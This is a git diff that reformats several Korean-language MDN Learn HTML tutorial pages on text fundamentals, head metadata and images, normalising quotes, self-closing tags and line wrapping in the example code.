+    "<ol>\n<li>Drive to the end of the road</li>\n<li>Turn right</li>\n<li>Go straight across the first two roundabouts</li>\n<li>Turn left at the third roundabout</li>\n<li>The school is on your right, 300 meters up the road</li>\n</ol>";
   drawOutput();
 });
 
@@ -381,7 +402,8 @@ window.addEventListener("load", drawOutput);
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input">Quick hummus recipe
+<textarea id="code" class="input">
+Quick hummus recipe
 
     This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.
 
@@ -412,7 +434,8 @@ window.addEventListener("load", drawOutput);
 
     Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you've made it. If it starts to become fizzy, you should definitely discard it.
 
-    Hummus is suitable for freezing; you should thaw it and use it within a couple of months.</textarea>
+    Hummus is suitable for freezing; you should thaw it and use it within a couple of months.</textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -423,10 +446,11 @@ window.addEventListener("load", drawOutput);
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 8em;
   padding: 10px;
@@ -450,13 +474,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-  textarea.value = '<h1>Quick hummous recipe</h1>\n\n<p>This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.</p>\n\n<p>Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.</p>\n\n<h2>Ingredients</h2>\n\n<ul>\n<li>1 can (400g) of chick peas (garbanzo beans)</li>\n<li>175g of tahini</li>\n<li>6 sundried tomatoes</li>\n<li>Half a red pepper</li>\n<li>A pinch of cayenne pepper</li>\n<li>1 clove of garlic</li>\n<li>A dash of olive oil</li>\n</ul>\n\n<h2>Instructions</h2>\n\n<ol>\n<li>Remove the skin from the garlic, and chop coarsely.</li>\n<li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>\n<li>Add all the ingredients into a food processor.</li>\n<li>Process all the ingredients into a paste.</li>\n<li>If you want a coarse "chunky" hummus, process it for a short time.</li>\n<li>If you want a smooth hummus, process it for a longer time.</li>\n</ol>\n\n<p>For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.</p>\n\n<h2>Storage</h2>\n\n<p>Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you\'ve made it. If it starts to become fizzy, you should definitely discard it.</p>\n\n<p>Hummus is suitable for freezing; you should thaw it and use it within a couple of months.</p>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    '<h1>Quick hummous recipe</h1>\n\n<p>This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.</p>\n\n<p>Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.</p>\n\n<h2>Ingredients</h2>\n\n<ul>\n<li>1 can (400g) of chick peas (garbanzo beans)</li>\n<li>175g of tahini</li>\n<li>6 sundried tomatoes</li>\n<li>Half a red pepper</li>\n<li>A pinch of cayenne pepper</li>\n<li>1 clove of garlic</li>\n<li>A dash of olive oil</li>\n</ul>\n\n<h2>Instructions</h2>\n\n<ol>\n<li>Remove the skin from the garlic, and chop coarsely.</li>\n<li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>\n<li>Add all the ingredients into a food processor.</li>\n<li>Process all the ingredients into a paste.</li>\n<li>If you want a coarse "chunky" hummus, process it for a short time.</li>\n<li>If you want a smooth hummus, process it for a longer time.</li>\n</ol>\n\n<p>For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.</p>\n\n<h2>Storage</h2>\n\n<p>Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you\'ve made it. If it starts to become fizzy, you should definitely discard it.</p>\n\n<p>Hummus is suitable for freezing; you should thaw it and use it within a couple of months.</p>';
   drawOutput();
 });
 
@@ -491,9 +516,12 @@ window.addEventListener("load", drawOutput);
   <li>Remove the skin from the garlic, and chop coarsely.</li>
   <li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>
   <li>Add all the ingredients into a food processor.</li>
-  <li>Process all the ingredients into a paste.
+  <li>
+    Process all the ingredients into a paste.
     <ul>
-      <li>If you want a coarse "chunky" hummus, process it for a short time.</li>
+      <li>
+        If you want a coarse "chunky" hummus, process it for a short time.
+      </li>
       <li>If you want a smooth hummus, process it for a longer time.</li>
     </ul>
   </li>
@@ -541,8 +569,11 @@ HTML에서는 이러한 경우를 표시하기 위해 {{htmlelement("strong")}}
 원한다면 각각의 태그가 서로의 안에 위치할 수 있습니다.
 
 ```html
-<p>This liquid is <strong>highly toxic</strong> —
-if you drink it, <strong>you may <em>die</em></strong>.</p>
+<p>
+  This liquid is <strong>highly toxic</strong> — if you drink it,
+  <strong>you may <em>die</em></strong
+  >.
+</p>
 ```
 
 ### Active learning: Let's be important!
@@ -551,14 +582,16 @@ if you drink it, <strong>you may <em>die</em></strong>.</p>
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input"><h1>Important notice</h1>
+<textarea id="code" class="input">
+<h1>Important notice</h1>
 
 <p>On Sunday January 9th 2010, a gang of goths were
 spotted stealing several garden gnomes from a shopping
 center in downtown Milwaukee. They were all wearing green
 jumpsuits and silly hats, and seemed to be having a whale
 of a time. If anyone has any information about this
-incident, please contact the police now.</p></textarea>
+incident, please contact the police now.</p></textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -569,10 +602,11 @@ incident, please contact the police now.</p></textarea>
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 8em;
   padding: 10px;
@@ -596,13 +630,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-  textarea.value = '<h1>Important notice</h1>\n<p>On <strong>Sunday January 9th 2010</strong>, a gang of <em>goths</em> were spotted stealing <strong><em>several</em> garden gnomes</strong> from a shopping center in downtown <strong>Milwaukee</strong>. They were all wearing <em>green jumpsuits</em> and <em>silly hats</em>, and seemed to be having a whale of a time. If anyone has <strong>any</strong> information about this incident, please contact the police <strong>now</strong>.</p>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    "<h1>Important notice</h1>\n<p>On <strong>Sunday January 9th 2010</strong>, a gang of <em>goths</em> were spotted stealing <strong><em>several</em> garden gnomes</strong> from a shopping center in downtown <strong>Milwaukee</strong>. They were all wearing <em>green jumpsuits</em> and <em>silly hats</em>, and seemed to be having a whale of a time. If anyone has <strong>any</strong> information about this incident, please contact the police <strong>now</strong>.</p>";
   drawOutput();
 });
 
@@ -612,7 +647,7 @@ window.addEventListener("load", drawOutput);
 
 {{ EmbedLiveSample('Playable_code_5', 700, 500) }}
 
-### Italic, bold, underline...
+### Italic, bold, underline
 
 우리가 지금까지 얘기했던 요소들은 관련된 의미들을 명확히 구분했습니다. {{htmlelement("b")}}, {{htmlelement("i")}}, {{htmlelement("u")}}의 상황들은 좀 복잡하죠. 이 요소들은 CSS가 형편없이 지원되거나 완전히 지원되지 않는 경우에 이탤릭체 또는 밑줄 등을 표현할 수 있도록 고안되었습니다. 의미론적이 아닌 표현에만 영향을 주는 이와 같은 요소들은 **현재적 요소**로 알려져 있으며, 더 이상 사용되어서는 안됩니다. 앞에서 살펴본 바와 같이 의미론은 접근성, SEO 등에 매우 중요하기 때문이죠.
 
@@ -629,8 +664,8 @@ HTML5 에서는 `<b>`, `<i>,` `<u>` 를 조금 혼란스럽긴 하지만 새로
 ```html
 <!-- scientific names -->
 <p>
-  The Ruby-throated Hummingbird (<i>Archilochus colubris</i>)
-  is the most common hummingbird in Eastern North America.
+  The Ruby-throated Hummingbird (<i>Archilochus colubris</i>) is the most common
+  hummingbird in Eastern North America.
 </p>
 
 <!-- foreign words -->
@@ -640,18 +675,14 @@ HTML5 에서는 `<b>`, `<i>,` `<u>` 를 조금 혼란스럽긴 하지만 새로
 </p>
 
 <!-- a known misspelling -->
-<p>
-  Someday I'll learn how to <u>spel</u> better.
-</p>
+<p>Someday I'll learn how to <u>spel</u> better.</p>
 
 <!-- Highlight keywords in a set of instructions -->
 <ol>
+  <li><b>Slice</b> two pieces of bread off the loaf.</li>
   <li>
-    <b>Slice</b> two pieces of bread off the loaf.
-  </li>
-  <li>
-    <b>Insert</b> a tomato slice and a leaf of
-    lettuce between the slices of bread.
+    <b>Insert</b> a tomato slice and a leaf of lettuce between the slices of
+    bread.
   </li>
 </ol>
 ```
diff --git a/files/ko/learn/html/introduction_to_html/index.md b/files/ko/learn/html/introduction_to_html/index.md
index dfa321693c4585..ba800ac03d4bd1 100644
--- a/files/ko/learn/html/introduction_to_html/index.md
+++ b/files/ko/learn/html/introduction_to_html/index.md
@@ -28,7 +28,7 @@ slug: Learn/HTML/Introduction_to_HTML
 - [텍스트 조작 고급기법](/ko/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting)
   - : HTML에는 텍스트를 조작하기 위한 많은 요소들이 있습니다. [이](/ko/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) 글에는 다 담을 수는 없습니다. 이 글에서는 잘 알려지진 않았지만 알아두면 굉장히 유용한 요소들을 살펴보겠습니다. 인용구, 설명 목록, 소스 코드 혹은 관련 텍스트, 위첨자, 아래첨자, 연락 정보 등을 마크업 하는 방법을 알아보겠습니다.
 - [문서와 웹사이트 구조](/ko/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure)
-  - : ‘문단’이나 ‘이미지’와 같은 페이지의 부분을 정의하는 것처럼, HTML은 ‘헤더’, ‘네비게이션 메뉴’, ‘주요 내용 컬럼’과 같은 웹사이트의 영역을 정의하는데도 사용됩니다. 이 글에서는 기본 웹사이트 구조를 설계하는 법을 살펴보고, 이 구조를 표현하기 위해 HTML로 직접 작성해 보겠습니다.
+  - : '문단'이나 '이미지'와 같은 페이지의 부분을 정의하는 것처럼, HTML은 '헤더', '네비게이션 메뉴', '주요 내용 컬럼'과 같은 웹사이트의 영역을 정의하는데도 사용됩니다. 이 글에서는 기본 웹사이트 구조를 설계하는 법을 살펴보고, 이 구조를 표현하기 위해 HTML로 직접 작성해 보겠습니다.
 - [HTML 디버깅](/ko/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML)
   - : HTML 작성은 잘 되었는데, 무언가 잘못되었고, 작업을 할 수 없다면 코드에서 에러가 발생하는 부분은 어디일까요? 이 글은 이런 상황에 도움을 줄 수 있는 도구들을 소개합니다.
 
@@ -37,7 +37,7 @@ slug: Learn/HTML/Introduction_to_HTML
 다음의 평가들은 위의 가이드에 있는 HTML 기본을 얼마나 이해하고 있는지 테스트 합니다.
 
 - [마크업](/ko/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter)
-  - : 우리는 모두 편지 쓰는 법을 금방 배우게 됩니다. 텍스트를 꾸미고 조작하는 것을 테스트 해볼 수 있는 유용한 예제들이 있습니다. 여러분이 마크업 하는 것을 평가합니다.
+  - : 우리는 모두 글자를 쓰는 법을 금방 배우게 됩니다. 텍스트를 꾸미고 조작하는 것을 테스트 해볼 수 있는 유용한 예제들이 있습니다. 여러분이 마크업 하는 것을 평가합니다.
 - [페이지 콘텐츠 구조화](/ko/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content)
   - : 이 평가는 헤더, 푸터, 네비게이션 메뉴, 주요 콘텐츠, 사이드바를 담고 있는 간단한 웹 페이지의 구조를 HTML로 작성하는 능력을 테스트합니다.
 
diff --git a/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.md b/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.md
index 83a5a03b94f390..09c7a786db3de6 100644
--- a/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.md
+++ b/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.md
@@ -33,10 +33,10 @@ HTML의 {{glossary("Head", "head")}}는 페이지를 열 때 웹 브라우저에
 [HTML document we covered in the previous article](/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document)을 다시 봅시다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>My test page</title>
   </head>
   <body>
@@ -49,7 +49,7 @@ HTML {{htmlelement("head")}} 요소의 내용입니다. — 페이지를 열 때
 
 ```html
 <head>
-  <meta charset="utf-8">
+  <meta charset="utf-8" />
   <title>My test page</title>
 </head>
 ```
@@ -67,18 +67,18 @@ HTML {{htmlelement("head")}} 요소의 내용입니다. — 페이지를 열 때
 
 1. 능동적인 학습을 시작하기 위해서, GitHub repo에가서 [title-example.html 페이지](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html)의 복사본을 다운로드 하십시오. 다음 중 하나를 하면 됩니다:
 
-    1. 복사 붙여넣기를 새로운 텍스트 편집기에서 실행하고 당신이 알 만한 경로에 저장하십시오.
-    2. 페이지에서 "Raw"버튼을 누르면, 새창에 Raw code가 나타납니다. 그런 다음 브라우저 메뉴에서 _File > Save Page As..._ 로 원하는 곳에 저장하십시오
+   1. 복사 붙여넣기를 새로운 텍스트 편집기에서 실행하고 당신이 알 만한 경로에 저장하십시오.
+   2. 페이지에서 "Raw"버튼을 누르면, 새창에 Raw code가 나타납니다. 그런 다음 브라우저 메뉴에서 _File > Save Page As..._ 로 원하는 곳에 저장하십시오
 
 2. 이제 당신의 브라우저에서 받은 파일을 여십시오.아래와 같이 보일 것입니다:
 
-    ![A simple web page with the title set to \<title> element, and the \<h1> set to \<h1> element.](title-example.png)\<h1>컨텐츠가 보이는 곳이 어디인지 이제 명백할 것입니다. 그리고 `<title>` 컨텐츠도 어디에 있는지 알 수 있습니다!
+   ![A simple web page with the title set to 'title' element, and the 'h1' set to 'h1' element.](title-example.png)\<h1>컨텐츠가 보이는 곳이 어디인지 이제 명백할 것입니다. 그리고 `<title>` 컨텐츠도 어디에 있는지 알 수 있습니다!
 
 3. 텍스트 편집기에서도 이것을 열 수 있습니다. 이 요소들을 변경해보고, 페이지 새로고침하면서 즐겨보십시오.
 
 `<title>` 요소는 다른 방식으로 사용될 수도 있는데, 예를 들면 브라우저에서 사이트를 북마크할 때, `<title>`의 내용물을 추천하는 북마크 이름으로 사용하기도 합니다.
 
-![A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the \<title> element ](bookmark-example.png)
+![A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the 'title' element ](bookmark-example.png)
 
 `<title>`은 아래에서 보는것 처럼 검색결과로 사용되기도 합니다.
 
@@ -91,7 +91,7 @@ HTML {{htmlelement("head")}} 요소의 내용입니다. — 페이지를 열 때
 위에서의 예제에서 , 아래의 줄이 포함됩니다:
 
 ```html
-<meta charset="utf-8">
+<meta charset="utf-8" />
 ```
 
 이 요소는 문서의 character—문서에서 허용하는 문자 집합(character set)— encoding에 대해서 간단히 표시합니다 . `utf-8` 은 전세계적인 character 집합으로 많은 언어들을 문자들을 포함합니다. 이는 웹 페이지에서 어떤 문자라도 취급할 수 있다는 것을 의미합니다. 따라서 당신이 작성할 모든 페이지에서 character 집합을 utf-8로 지정하는것은 좋은 생각입니다! 예를 들어서 당신의 웹페이지는 영어나 일본어 모두 허용합니다:
@@ -120,10 +120,12 @@ HTML {{htmlelement("head")}} 요소의 내용입니다. — 페이지를 열 때
 이러한 두가지 메타데이터는 당신의 페이지에서 관리자를 정리하고 머릿말을 요약하는데 유용합니다. 아래의 예시를 보면:
 
 ```html
-<meta name="author" content="Chris Mills">
-<meta name="description" content="The MDN Learning Area aims to provide
+<meta name="author" content="Chris Mills" />
+<meta
+  name="description"
+  content="The MDN Learning Area aims to provide
 complete beginners to the Web with all they need to know to get
-started with developing web sites and applications.">
+started with developing web sites and applications." />
 ```
 
 저자를 지정하는 것은 콘텐츠 작성자에 대한 정보를 볼 수 있게 해준다. 일부 컨텐츠 관리 시스템에는 페이지 작성자 정보를 자동으로 추출해서 사용할 수 있는 기능이 있다.
@@ -137,21 +139,23 @@ started with developing web sites and applications.">
 1. 다음 링크로 간다. [front page of The Mozilla Developer Network](/en-US/).
 2. 페이지의 소스를 본다. (Right/
 
-    <kbd>Ctrl</kbd>
+   <kbd>Ctrl</kbd>
 
-    \+ click on the page, choose _View Page Source_ from the context menu.)
+   \+ click on the page, choose _View Page Source_ from the context menu.)
 
 3. 메타 태그를 찾아본다. 아마 아래와 같은 형태로 생겼을 것이다.
 
-    ```html
-    <meta name="description" content="The Mozilla Developer Network (MDN) provides
-    information about Open Web technologies including HTML, CSS, and APIs for both
-    Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
-    ```
+   ```html
+   <meta
+     name="description"
+     content="The Mozilla Developer Network (MDN) provides
+   information about Open Web technologies including HTML, CSS, and APIs for both
+   Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS." />
+   ```
 
 4. 지금 당신이 애용하는 검색엔진으로 "Mozilla Developer Network"를 찾아보라(우리는 YAHOO를 사용한다). 검색 결과를 보면, `<meta>` 및 `<title>` 요소의 컨텐츠 설명이 어떤 역할을 했는지 알 수 있을 것이다.
 
-    ![A Yahoo search result for "Mozilla Developer Network"](search-result.png)
+   ![A Yahoo search result for "Mozilla Developer Network"](search-result.png)
 
 > **참고:** Google에서는 메인 MDN 홈페이지 링크 아래에 MDN의 몇 가지 관련 서브 페이지가 표시된다. 이를 사이트 링크라고하며 Google의 웹 마스터 도구에서 구성 할 수 있다. 그리고 이는 Google 검색 엔진에서 사이트의 검색 결과를 개선하는 방법이다.
 
@@ -164,11 +168,15 @@ started with developing web sites and applications.">
 [Open Graph Data](http://ogp.me/) 는 Facebook이 웹 사이트에 더 풍부한 메타 데이터를 제공하기 위해 발명한 메타 데이터 프로토콜이다. MDN 소스코드에서 다음과 같은 부분을 볼 수 있을 것이다.
 
 ```html
-<meta property="og:image" content="https://developer.mozilla.org/mdn-social-share.png">
-<meta property="og:description" content="The Mozilla Developer Network (MDN) provides
+<meta
+  property="og:image"
+  content="https://developer.mozilla.org/mdn-social-share.png" />
+<meta
+  property="og:description"
+  content="The Mozilla Developer Network (MDN) provides
 information about Open Web technologies including HTML, CSS, and APIs for both Web sites
-and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
-<meta property="og:title" content="Mozilla Developer Network">
+and HTML5 Apps. It also documents Mozilla products, like Firefox OS." />
+<meta property="og:title" content="Mozilla Developer Network" />
 ```
 
 Facebook에서 MDN에 링크를 하면, 이미지와 설명이 함께 나타난다. 사용자에게는 더 좋은 정보를 보여줄 수 있는 것이다.
@@ -176,7 +184,7 @@ Facebook에서 MDN에 링크를 하면, 이미지와 설명이 함께 나타난
 ![Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.](facebook-output.png)Twitter 에서도 유사한 형태의 독점적인 자체 메타데이터를 가지고 있는데, 특정 웹사이트의 url이 twitter.com에 표시 될 때와 유사한 효과가 있다.
 
 ```html
-<meta name="twitter:title" content="Mozilla Developer Network">
+<meta name="twitter:title" content="Mozilla Developer Network" />
 ```
 
 ## 맞춤 아이콘 추가하기
@@ -190,9 +198,9 @@ favicon은 다음과 같이 너의 사이트에 추가할 수 있다:
 1. 당신의 사이트의 인덱스 페이지와 같은 디렉토리에 `.ico` 포멧의 파일을 저장하라 (most browsers will support favicons in more common formats like `.gif` or `.png`, but using the ICO format will ensure it works as far back as Internet Explorer 6.)
 2. `다음 줄을 HTML <head>에 추가하여 favicon을 참조하라`:
 
-    ```html
-    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
-    ```
+   ```html
+   <link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
+   ```
 
 북마크 페널의 페비콘이 그 예시이다:
 
@@ -202,15 +210,28 @@ favicon은 다음과 같이 너의 사이트에 추가할 수 있다:
 
 ```html
 <!-- third-generation iPad with high-resolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.mozilla.org/static/img/favicon144.png">
+<link
+  rel="apple-touch-icon-precomposed"
+  sizes="144x144"
+  href="https://developer.mozilla.org/static/img/favicon144.png" />
 <!-- iPhone with high-resolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.mozilla.org/static/img/favicon114.png">
+<link
+  rel="apple-touch-icon-precomposed"
+  sizes="114x114"
+  href="https://developer.mozilla.org/static/img/favicon114.png" />
 <!-- first- and second-generation iPad: -->
-<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.mozilla.org/static/img/favicon72.png">
+<link
+  rel="apple-touch-icon-precomposed"
+  sizes="72x72"
+  href="https://developer.mozilla.org/static/img/favicon72.png" />
 <!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
-<link rel="apple-touch-icon-precomposed" href="https://developer.mozilla.org/static/img/favicon57.png">
+<link
+  rel="apple-touch-icon-precomposed"
+  href="https://developer.mozilla.org/static/img/favicon57.png" />
 <!-- basic favicon -->
-<link rel="shortcut icon" href="https://developer.mozilla.org/static/img/favicon32.png">
+<link
+  rel="shortcut icon"
+  href="https://developer.mozilla.org/static/img/favicon32.png" />
 ```
 
 주석은 각 아이콘의 용도를 설명한다. 웹사이트가 iPad의 홈 화면에 저장 될 때 사용할 고해상도 아이콘을 제공하는 것 등을 포함한다.
@@ -224,7 +245,7 @@ favicon은 다음과 같이 너의 사이트에 추가할 수 있다:
 - {{htmlelement("link")}}는 항상 문서의 head 부분에 위치한다. 이것은 두 가지 속성을 취하는데, rel="stylesheet", 즉 문서의 스타일 시트임을 나타냄과 동시에 스타일 시트 파일의 경로를 포함하는 href를 내포한다.
 
   ```html
-  <link rel="stylesheet" href="my-css-file.css">
+  <link rel="stylesheet" href="my-css-file.css" />
   ```
 
 - {{htmlelement("script")}} 는 head에 들어갈 필요가 없다. `</body>` 태그 바로 앞, 문서 본문의 맨 끝에 넣는 것이 좋으며, JavaScript를 적용하기 전에 모든 HTML 내용을 브라우저에서 읽었는지 확인하는 것이 좋다. 액세스 과정에서 JavaScript가 아직 존재하지 않는 요소라고 판단하며 에러가 날 수 있다.
@@ -255,7 +276,7 @@ HTML을 저장하고 브라우저를 새로 고치면 올바르게 변경된 것
 마지막으로, 페이지의 언어를 설정 할 수도 있다. 이 작업은 [lang attribute](/ko/docs/Web/HTML/Global_attributes/lang) 을 여는 HTML 태그에 추가하여 수행 할 수 있다. ([meta-example.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html) 과 아래 참조)
 
 ```html
-<html lang="en-US">
+<html lang="en-US"></html>
 ```
 
 이것은 여러 방면에서 유용하다. HTML 문서는 언어가 설정되어 있으면 검색 엔진에 의해 보다 효과적으로 색인화되며(예를 들어 언어 별 결과에 올바르게 표시되도록..) 화면 판독기를 사용하여 시각장애가 있는 사용자에게 유용하다.(예: 6이라는 숫자는 프랑스어와 영어에서 모두 존재하지만, 각기 다른 발음이 적용된다.)
diff --git a/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.md b/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.md
index 0f826e6a5b144a..94b75eeb14787a 100644
--- a/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.md
+++ b/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.md
@@ -45,13 +45,13 @@ slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
 예를 들어, 당신의 이미지 파일 이름이 `dinosaur.jpg` 이고, 당신의 HTML 페이지와 같은 디렉토리 아래에 위치한다면 이런 식으로 이미지를 삽입할 수 있습니다:
 
 ```html
-<img src="dinosaur.jpg">
+<img src="dinosaur.jpg" />
 ```
 
 그 이미지가 HTML페이지와 같은 디렉토리 하의 `images` 라는 하위 디렉토리에 있다면 (이러한 방식은 구글이 {{glossary("SEO")}}/색인을 위해 추천합니다), 이런 식으로 삽입할 수 있습니다:
 
 ```html
-<img src="images/dinosaur.jpg">
+<img src="images/dinosaur.jpg" />
 ```
 
 > **참고:** **노트:** 검색 엔진은 이미지 파일 이름을 읽고 SEO에 포함시킵니다. 따라서 그 내용을 기술하는 파일 이름을 사용하세요. `img835.png`.보다는 `dinosaur.jpg` 가 낫습니다.
@@ -59,16 +59,16 @@ slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
 절대경로를 사용해서 이미지를 삽입할 수도 있습니다. 예를 들면:
 
 ```html
-<img src="https://www.example.com/images/dinosaur.jpg">
+<img src="https://www.example.com/images/dinosaur.jpg" />
 ```
 
 그러나 이건 무의미합니다. DNS 서버로부터 IP 주소를 처음부터 다시 찾아보는 등 브라우저가 더 많은 일을 하게 만들기 때문입니다. 당신은 거의 항상 당신의 HTML과 같은 서버에 이미지를 두게 될 것입니다.
 
 > **경고:** : 대부분의 이미지들은 저작권 적용 대상입니다. 따라서,
 >
->  1) 당신이 그 이미지에 대한 소유권을 갖고 있거나
->  2) 당신이 그 이미지의 소유자로부터 명확한 서류상의 허가를 받았거나
->  3) 그 이미지가 실제로 공공재라는 충분한 증거가 있는 경우
+> 1. 당신이 그 이미지에 대한 소유권을 갖고 있거나
+> 2. 당신이 그 이미지의 소유자로부터 명확한 서류상의 허가를 받았거나
+> 3. 그 이미지가 실제로 공공재라는 충분한 증거가 있는 경우
 >
 > 가 아니면 당신의 웹페이지에 이미지를 **게시하지 마십시오.**
 > 저작권 침해는 불법이며 비윤리적입니다. 또한 당신의 `src` 속성이 링크하도록 허가받지 않은 누군가의 웹사이트에 호스팅 된 이미지를 가리키지 않도록 하십시오. 이러한 행위를 "핫 링킹(hot linking)"이라고 합니다. 누군가의 대역폭을 훔쳐 쓰는 것은 불법입니다. 이것은 당신의 페이지를 느리게 만들고, 그 이미지가 삭제되거나 무언가 부끄러운 걸로 바뀌어도 당신은 그것을 통제할 권한이 없습니다.
@@ -86,9 +86,10 @@ slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
 다음으로 살펴볼 속성은 `alt`이다. 이 값은 이미지가 보여지지 않을 경우를 대비해서 이미지를 설명할 수 있는 글을 값으로 가진다. 예를 들어, 위의 코드를 다음과 같이 바꿀 수 있다:
 
 ```html
-<img src="images/dinosaur.jpg"
-     alt="The head and torso of a dinosaur skeleton;
-          it has a large head with long sharp teeth">
+<img
+  src="images/dinosaur.jpg"
+  alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth" />
 ```
 
 `alt` 를 잘 작성하였는지 확인하기 위한 가장 쉬운 방법은 파일 이름을 고의로 틀리게 적는 것이다. 예를 들어 이미지 파일의 이름을 `dinosooooor.jpg` 로 바꾼다면 브라우저는 이미지를 보여주는 대신, alt의 내용을 보여줄 것이다:
@@ -119,11 +120,12 @@ alt는 왜 굳이 사용되거나 필요한걸까? alt는 여러가지 이유로
 `width` 와 `height` 속성을 통해 이미지의 크기를 조정할 수 있다. 이미지의 크기를 알아내는 몇가지 방법이 있는데 Mac은 <kbd>Cmd</kbd> + <kbd>I</kbd> 를 통해 이미지 정보를 볼 수 있다. 예제로 돌아와서, 우리는 이렇게 해볼 수 있다:
 
 ```html
-<img src="images/dinosaur.jpg"
-     alt="The head and torso of a dinosaur skeleton;
+<img
+  src="images/dinosaur.jpg"
+  alt="The head and torso of a dinosaur skeleton;
           it has a large head with long sharp teeth"
-     width="400"
-     height="341">
+  width="400"
+  height="341" />
 ```
 
 평범한 경우에 위와 같은 방법은 디스플레이에 큰 차이를 주지 않는다. 그러나 만약에 이미지가 로딩중이어서 아직 페이지에 안나타나더라도 브라우저는 지정된 크기의 공간을 이미지를 위해 할당해둔다:
@@ -141,12 +143,13 @@ alt는 왜 굳이 사용되거나 필요한걸까? alt는 여러가지 이유로
 As [with links](/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Adding_supporting_information_with_%3Ctitle%3E), you can also add `title` attributes to images, to provide further supporting information if needed. In our example, we could do this:
 
 ```html
-<img src="images/dinosaur.jpg"
-     alt="The head and torso of a dinosaur skeleton;
+<img
+  src="images/dinosaur.jpg"
+  alt="The head and torso of a dinosaur skeleton;
           it has a large head with long sharp teeth"
-     width="400"
-     height="341"
-     title="A T-Rex on display in the Manchester University Museum">
+  width="400"
+  height="341"
+  title="A T-Rex on display in the Manchester University Museum" />
 ```
 
 This gives us a tooltip, just like link titles:
@@ -176,19 +179,20 @@ If you make a mistake, you can always reset it using the _Reset_ button. If you
 ```html hidden
 <h2>Live output</h2>
 
-<div class="output" style="min-height: 50px;">
-</div>
+<div class="output" style="min-height: 50px;"></div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="input" style="min-height: 100px; width: 95%">
 <img>
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
